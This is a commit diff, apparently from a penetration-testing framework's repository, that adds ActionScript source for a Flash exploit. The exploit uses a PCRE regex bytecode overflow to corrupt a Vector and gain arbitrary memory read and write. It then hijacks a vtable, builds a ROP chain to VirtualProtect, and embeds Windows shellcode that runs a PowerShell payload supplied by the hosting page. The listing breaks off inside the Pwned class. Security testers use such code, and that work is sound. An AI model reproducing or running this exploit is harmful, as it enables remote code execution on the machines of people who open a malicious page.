Update POSIX bins from master

bug/bundler_fix
OJ 2015-03-19 14:50:14 +10:00
commit 7899881416
100 changed files with 4364 additions and 470 deletions

View File

@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,704 @@
package
{
/*
To compile (AIRSDK + Flex):
mxmlc Main.as -o Main.swf -strict=false
*/
import mx.utils.Base64Decoder;
import flash.display.*;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var i:int;
private var j:int;
private const OP_END:int = 0;
private const OP_ANY:int = 12;
private const OP_KET:int = 84;
private const OP_CBRA:int = 94;
private const OP_FAIL:int = 108;
private const OP_ACCEPT:int = 109;
private var testSubject:String = 'c01db33f';
private var subject:String = '';
private var count_576:int = 128;
private var pre_576:int = 4;
private var groom_576:Array = new Array(count_576);
private var count_re:int = 8;
private var source_re:Vector.<String> = new Vector.<String>(count_re);
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
private var subjects:Vector.<String> = new Vector.<String>(count_re);
private var count_504:int = 256 * 3;
private var pre_504:int = 30;
private var groom_504:Array = new Array(count_504);
private var junk:Array = new Array();
private var junk_idx:int = 0;
public static function Debug(message:String):void {
ExternalInterface.call('console.log', message);
}
public function MakeRegex(c:String):String {
var i:int;
var r:String = '(c01db33f|^(' + c + '*)'
for (i = 0; i < 39; ++i) {
r += '(A)';
}
r += '\\'
r += '41';
for (i = 0; i < 20; ++i) {
r += 'A';
}
r += '('
r += '\\'
r += 'c'
r += '\uc080'
r += '*)?(?70))';
return r;
}
public function MakeSubject(c:String):String {
var i:int;
var s:String = c;
for (i = 0; i < 0x80 - 0x3d; ++i) {
s += c;
}
for (i = 0; i < 60; ++i) {
s += 'A';
}
return s;
}
public function MakeByteArray(size:int):ByteArray {
var i:int = 0;
var b:ByteArray = new ByteArray();
b.length = size;
for (i = 0; i < size; ++i) {
b.writeByte(0x23);
}
return b;
}
public function Initialise():void {
for (i = 0; i < 8; ++i) {
subjects[i] = MakeSubject(i.toString());
source_re[i] = MakeRegex(i.toString());
}
}
public function CompileRegex():RegExp {
// heap groom the block of regex bytecode we want to follow our
// legitimate bytecode.
for (i = 0; i < count_576; ++i) {
var b:ByteArray = new ByteArray();
b.length = 576;
// regex nop sled :-p
for (j = 0; j < 500; ++j) {
b.writeByte(OP_ANY);
}
// this is the capturing bracket that find_bracket will be
// looking for to match (?70)
b.writeByte(OP_CBRA);
b.writeByte(1); // WORD length of group (only != 0)
b.writeByte(0);
b.writeByte(0); // WORD number of group (must == 70)
b.writeByte(70);
// we use OP_CBRA to write the current match length at one
// dword past the end of our offset_vector.
//
// this is due to another bug in pcre_exec where it is
// assumed that the group number is
// 0 < number < md->offset_max
// and it is only checked that group < md->offset_max, and
// then indexing is done backwards frm the end of the buffer,
// so a group number of 0 lets us index one dword past the end
// of the offset_vector.
b.writeByte(OP_CBRA);
b.writeByte(0); // WORD length of group
b.writeByte(0);
b.writeByte(0); // WORD number of group
b.writeByte(0);
// we're done with executing this regex for now.
b.writeByte(OP_ACCEPT); // yay a match :-)
b.writeByte(OP_KET); // closing KET for group (?70)
b.writeByte(OP_KET); // closing KET for exploit group
b.writeByte(OP_END);
b.writeByte(0);
groom_576[i] = b;
}
// make some gaps
for (i = 0; i < count_576; i += 2) {
groom_576[i].length = 0;
groom_576[i] = null;
}
for (i = 0; i < (pre_576 * 2); i += 2) {
groom_576[i] = MakeByteArray(576);
}
for (i = 0; i < count_re; ++i) {
try {
Debug('[*] compiling regex');
var re:RegExp = new RegExp(source_re[i]);
compiled_re[i] = re;
var match:Object = re.exec(testSubject);
if (match != null && match[0] == 'c01db33f') {
Debug('[*] compiled successfully');
subject = subjects[i];
return re;
}
else {
// that allocation was no good, fill with a bytearray
junk[junk_idx++] = MakeByteArray(576);
}
} catch (error:Error) {
Debug('[*] error compiling regex: ' + error.message);
}
Debug('[*] failed...');
}
Debug('[*] failed first groom');
return null;
}
public function negative(i:uint):uint {
return (~i) + 1;
}
public function CorruptVector(r:RegExp):Vector.<uint> {
var v:Vector.<uint> = null;
var uv:Vector.<uint> = null;
var ov:Vector.<Object> = null;
for (i = 0; i < count_504; ++i) {
v = new Vector.<uint>(124);
v[0] = 0xc01db33f
v[1] = i;
for (j = 2; j < 124; ++j) {
v[j] = 0x88888888;
}
groom_504[i] = v;
}
for (i = 0; i < count_504; i += 3) {
groom_504[i].length = 0;
groom_504[i] = null;
}
for (i = 0; i < pre_504; i += 1) {
junk[junk_idx++] = MakeByteArray(504);
}
v = null;
for (i = 0; i < 128; i += 3) {
try {
Debug('[*] executing regex');
r.exec(subject);
} catch (error:Error) {
Debug('[*] regex execution failed: ' + error.message);
}
for (j = 1; j < count_504; j += 3) {
if (groom_504[j].length != 124) {
Debug('[*] corrupted vector');
v = groom_504[j];
break;
}
}
if (v != null) {
break;
}
Debug('[*] failed...');
junk[junk_idx++] = MakeByteArray(504);
junk[junk_idx++] = MakeByteArray(504);
}
// at this point we have a vector with a corrupt length, hopefully
// followed by another vector of legitimate length.
if (v == null) {
Debug('[*] failed to groom for vector corruption');
return null;
}
if (v[126] != 0xc01db33f) {
Debug('[*] magic check failed!');
}
// read out the index of the following vector; this is the vector
// that we will use for the rest of the exploit
i = v[127];
uv = groom_504[i];
uv.fixed = true;
// corrupt the length of uv so that we can access all of memory :)
v[124] = 0xffffffff;
// first fix the length of the original corrupted array so we don't
// need to worry about it any more...
uv[negative(0x80)] = 0x6e;
// now read back 0x1f8 bytes before the first vector; this must be
// inside the original offset_vector that we overflowed, (so it is
// guaranteed to be safe) and this buffer is directly free'd at the
// end of pcre_exec. as it's quite a large allocation, we can be
// quite sure that it is still on the freelist and we can steal the
// freelist pointer from it, which will likely point to the block
// after our second vector.
uv[0] = uv[negative(0xfe)];
// we really can't do much sanity checking here; all we know is
// that this should be a pointer, and it will be 8 byte aligned.
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
Debug('[*] freelist ptr sanity check failed!');
uv[negative(2)] = 0x6e;
return null;
}
// uv[0] == address of our vector.<uint>'s buffer
uv[0] -= 0x1f0;
return uv;
}
public function FindGCHeap(m:Memory):uint {
// nothing much to say about this; we know that there's a
// FixedBlock at the start of the page that our vector is allocated
// on, and that holds a pointer back to the global GCHeap, which is
// a static singleton in the flash module. I've copied in the class
// declarations for the structures being traversed, for reference.
var fixed_block:uint = m.vector_base & 0xfffff000;
/*
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
-------> FixedAlloc *alloc; // The allocator that owns this block
char items[1];l // Memory for objects starts here
};
*/
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
/*
class FixedAlloc
{
private:
-------> GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
#ifdef MMGC_MEMORY_PROFILER
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
#endif
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
}
*/
var gcheap:uint = m.read_dword(fixed_alloc);
return gcheap;
}
public function FindPwned(m:Memory, gcheap:uint):uint {
// we're going to walk the heap to find it because we don't like
// being crashy. a lazier approach would be to spray a ton of
// objects and scan forward from our array; this is more reliable.
/*
class GCHeap
{
public:
-------> Region *lastRegion;
private:
...
};
*/
// I have no idea why this is at offset 4. GCheap is not virtual
// so perhaps the Flash code has changed since the github avmplus
// release.
var region:uint = m.read_dword(gcheap + 4);
/*
class Region
{
public:
Region *prev;
char *baseAddr;
char *reserveTop;
char *commitTop;
size_t blockId;
};
*/
while (region != 0) {
var region_base:uint = m.read_dword(region + 4);
var region_rtop:uint = m.read_dword(region + 8);
var region_top:uint = m.read_dword(region + 12);
if (region_rtop & 1 != 0) {
Debug('[*] this browser already got pwned, go away');
return 0;
}
m.write_dword(region + 8, region_rtop + 1);
// TODO: we can optimise here as we know the alignment of the
// magic values.
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
if (m.read_dword(ptr) == 0xdecafbad
&& m.read_dword(ptr + 4) == 0xdecafbad) {
// we have found our two magic values
return ptr - 0x10;
}
}
// region = region->prev;
region = m.read_dword(region);
}
return 0;
}
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
var myshellcode:Array = GetPayload();
// at this point we are sandwiched on the stack between the current
// frame and the previous frame; this is hazardous, we need to
// shift our stack back above the current frame or things will go
// wrong(tm).
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
v[i++] = 0x90900000;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// Our payload (see GetPayload)
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
v[i++] = myshellcode[payload_i];
}
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// we just put things back how they were; at least, everything
// important. we need esp and ebp to be correct, which is easy;
// we need ecx to point to the object's vtable and then we can
// just jump to the actual method implementation as though we
// had hooked it.
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
v[i++] = 0x90900000;
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
v[i++] = 0x90000012;
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
v[i++] = ptr;
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
v[i++] = fun;
v[i++] = 0x9090e0ff; // FFE0 jmp eax
}
public function GetPayload():Array {
// Grab the powershell payload from the sh parameter in the HTML file
var b64:Base64Decoder = new Base64Decoder();
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
b64.decode(raw_psh_payload);
var psh_payload:String = b64.toByteArray().toString();
// This is generated from here:
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
var payload:String = "" +
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
// Here we convert the binary string to an array of DWORDS
var arr:Array = new Array();
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
var hex:String = "";
for (var i2:int = 0; i2 < dword.length; i2++) {
var byte:String = dword.charCodeAt(i2).toString(16);
// The toString(16) conversion doesn't print zeros the way we want it.
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
// Another example: For 0x0c, it returns 'c', but it should be '0c'
if (byte == '0') {
byte = "00";
} else if (byte.length == 1) {
byte = '0' + byte;
}
hex += byte;
}
var real_dword:uint = parseInt(hex, 16);
arr.push(real_dword);
}
return arr;
}
public function Main() {
i = 0;
Initialise();
var r:RegExp = CompileRegex();
if (r == null) {
return;
}
Debug("Corrupting Vector");
var v:Vector.<uint> = CorruptVector(r);
if (v == null) {
Debug("CorruptVector returns null");
return;
}
var m:Memory = new Memory(v, v[0], 0x6e);
// at this point we have an absolute read/write primitive letting
// us read and write dwords anywhere in memory, so everything else
// is a technicality.
// we need an exception handler from here, because we have a vector
// that's addressing the whole address space, and if anything goes
// wrong, we want to clean that up or things will get unpleasant.
try {
// first we follow some pointers on the heap back to retrieve
// the address of the static GCHeap object in the flash module.
// this is useful for two reasons; firstly it gives us a
// pointer into the flash module, but secondly (and more
// importantly) we can use the region lists in the GCHeap
// structure to safely scan the heap to find things.
var gcheap:uint = FindGCHeap(m);
if (gcheap == 0) {
return;
}
// now we can parse the flash module in memory, locate useful
// imports and find the stack adjust gadget that we need.
Debug('[*] scanning flash module for gadgets');
var p:PE32 = new PE32(m, gcheap);
Debug(' [-] ' + p.base.toString(16) + ' flash base');
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
// Find this in Flash
// 81 c4 40 00 00 00 add esp, 40h
// c3 ret
var gadget_bytes:ByteArray = new ByteArray();
gadget_bytes.length = 7;
gadget_bytes.writeByte(0x81);
gadget_bytes.writeByte(0xc4);
gadget_bytes.writeByte(0x40);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0xc3);
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
var ret:uint = add_esp_40h_ret + 6;
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
Debug(' [-] ' + ret.toString(16) + ' ret');
// now we create an actionscript class that we can readily
// signature on the heap; we're going to find this object and
// overwrite its vtable pointer to gain control of execution.
Debug('[*] scanning heap to find pwned object');
var pwned:Pwned = new Pwned();
var pwned_ptr:uint = FindPwned(m, gcheap);
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
if (pwned_ptr == 0) {
return;
}
// we have a pointer to the object; save the vtable pointer for
// replacement later and then create a new vtable containing
// our gadget at the correct offset for the 'Rop' function.
// object ptr is actually a ScriptObject* for our ClassClosure?
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
var shellcode:uint = m.vector_base + 4;
WriteShellcode(v, 1, vtable_ptr, method_ptr);
// invoking the method first makes our life simpler; otherwise
// flash will go hunt for the right method, and recovery was
// quite messy.
var a:uint = 0x61616161;
pwned.Rop(
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
// overwrite the method pointer
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
// fix up our vector length already, since we won't need it again.
m.Cleanup();
var PAGE_EXECUTE_READWRITE:uint = 0x40;
// where better to rop than the actual stack :-P
Debug('[*] getting ma rop on');
pwned.Rop(
// ret sled oh yeah!
// actually this is just me lazily making stack space so
// that VirtualProtect doesn't trample all over any of
// flash's stuff and make it have a sad.
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // cf
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
virtual_protect, // BOOL WINAPI VirtualProtect(
shellcode, // ...
shellcode, // LPVOID lpAddress,
0x1000, // SIZE_T dwSize,
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
m.vector_base, // LPDWORD lpflOldProtect
// );
0x41414141, 0x41414141);
Debug('[*] we survived!');
// no need to fix the vtable, as we only overwrote the pointer
// for the Rop method, and it won't get called again.
} catch (e:Error) {
Debug('[!] error: ' + e.message);
} finally {
// we *always* need to clean up our corrupt vector as flash
// will try to zero it out later otherwise...
Debug('[*] cleaning up corrupted vector');
m.Cleanup();
}
}
}
}

View File

@ -0,0 +1,150 @@
package
{
// some utilities to encapsulate using the relative read/write of the
// corrupt vector.<uint> as an absolute read/write of the whole address
// space.
public class Memory
{
public var vector:Vector.<uint>;
public var vector_base:uint;
public var vector_size:uint;
private static function negative(i:uint):uint {
return (~i) + 1;
}
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
vector = v;
vector_base = b;
vector_size = s;
}
public function Cleanup():void {
// restore the correct size to our vector so that flash doesn't
// inadvertently trample on lots of memory.
vector[negative(2)] = vector_size;
}
public function read_dword(address:uint):uint {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and produce the correct
// dword, but that could lead to oob reads if we're close to
// a page boundary. take the path of least danger, and throw
// for debugging.
throw 'read_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = address - vector_base >> 2;
}
try {
return vector[offset];
} catch (e:Error) {
// we can't read at offset 0xffffffff, sometimes we will want
// to, but that is just life.
}
return 0;
}
public function read_byte(address:uint):uint {
var dword_address:uint = address & 0xfffffffc;
var dword:uint = read_dword(dword_address);
while (address & 0x3) {
dword = dword >> 8;
address -= 1;
}
return (dword & 0xff);
}
public function read_string(address:uint):String {
var string:String = '';
var dword:uint = 0;
while (address & 0x3) {
var char:uint = read_byte(address);
if (char == 0) {
return string;
}
string += String.fromCharCode(char);
address += 1;
}
while (true) {
dword = read_dword(address);
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
}
else {
return string;
}
address += 4;
}
return string;
}
public function write_dword(address:uint, value:uint):void {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and write 2 dwords, and
// produce the correct dword, but that could lead to oob reads
// and writes if we're close to a page boundary. take the path
// of least danger, and throw for debugging.
throw 'write_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = (address - vector_base) >> 2;
}
vector[offset] = value;
}
}
}

View File

@ -0,0 +1,157 @@
package
{
import flash.utils.ByteArray;
public class PE32
{
private var m:Memory;
public var base:uint;
public var dos_header:uint;
public var nt_header:uint;
public var file_header:uint;
public var opt_header:uint;
private function FindBase(ptr:uint):uint {
ptr = ptr & 0xffff0000;
var dword:uint = m.read_dword(ptr);
while ((dword & 0xffff) != 0x5a4d) {
ptr -= 0x10000;
dword = m.read_dword(ptr);
}
return ptr;
}
public function ParseHeaders():void {
dos_header = base;
var e_lfanew:uint = m.read_dword(dos_header + 60);
nt_header = dos_header + e_lfanew;
var nt_magic:uint = m.read_dword(nt_header);
if (nt_magic != 0x00004550) {
dos_header = 0;
nt_header = 0;
return;
}
file_header = nt_header + 4;
var machine:uint = m.read_dword(file_header);
if ((machine & 0xffff) != 0x014c) {
dos_header = 0;
nt_header = 0;
file_header = 0;
return;
}
opt_header = nt_header + 24;
var opt_magic:uint = m.read_dword(opt_header);
if ((opt_magic & 0xffff) != 0x10b) {
dos_header = 0;
nt_header = 0;
file_header = 0;
opt_header = 0;
return;
}
}
public function GetImport(mod_name:String, fun_name:String):uint {
if (base == 0 || dos_header == 0) {
return 0;
}
var data_directory:uint = opt_header + 96;
var import_dir:uint = data_directory + 8;
var import_rva:uint = m.read_dword(import_dir);
var import_size:uint = m.read_dword(import_dir + 4);
if (import_size == 0) {
return 0;
}
var import_descriptor:uint = base + import_rva;
var orig_first_thunk:uint = m.read_dword(import_descriptor);
while (orig_first_thunk != 0) {
var module_name_ptr:uint =
dos_header + m.read_dword(import_descriptor + 12);
if (module_name_ptr != 0) {
var module_name:String = m.read_string(module_name_ptr);
if (module_name == mod_name) {
orig_first_thunk += dos_header;
break;
}
}
import_descriptor += (5 * 4);
orig_first_thunk = m.read_dword(import_descriptor);
}
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
var thunk:uint = orig_first_thunk;
var import_by_name_rva:uint = m.read_dword(thunk);
while (import_by_name_rva != 0) {
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
var function_name:String = m.read_string(function_name_ptr);
if (function_name == fun_name) {
return m.read_dword(first_thunk);
}
thunk += 4;
first_thunk += 4;
import_by_name_rva = m.read_dword(thunk);
}
return 0;
}
public function GetGadget(gadget:ByteArray):uint {
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
var section_header:uint = opt_header + opt_header_size;
for (var i:uint = 0; i < section_count; ++i) {
var characteristics:uint = m.read_dword(section_header + (9 * 4));
if ((characteristics & 0xe0000000) == 0x60000000) {
// this section is read/execute, so scan for gadget
var section_rva:uint = m.read_dword(section_header + 12);
var section_size:uint = m.read_dword(section_header + 16);
var section_base:uint = base + section_rva;
var section:ByteArray = new ByteArray();
section.endian = "littleEndian";
section.length = section_size;
for (var j:uint = 0; j < section_size; j += 4) {
section.writeUnsignedInt(
m.read_dword(section_base + j));
}
for (j = 0; j < section_size; j += 1) {
section.position = j;
gadget.position = 0;
while (section.readByte() == gadget.readByte()) {
if (gadget.position == gadget.length) {
return section_base + j;
}
}
}
}
section_header += 10 * 5;
}
return 0;
}
public function PE32(memory:Memory, ptr:uint) {
m = memory;
base = FindBase(ptr);
ParseHeaders();
}
}
}

View File

@ -0,0 +1,51 @@
package
{
public class Pwned
{
public var magic1:uint;
public var magic2:uint;
public function Rop(
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
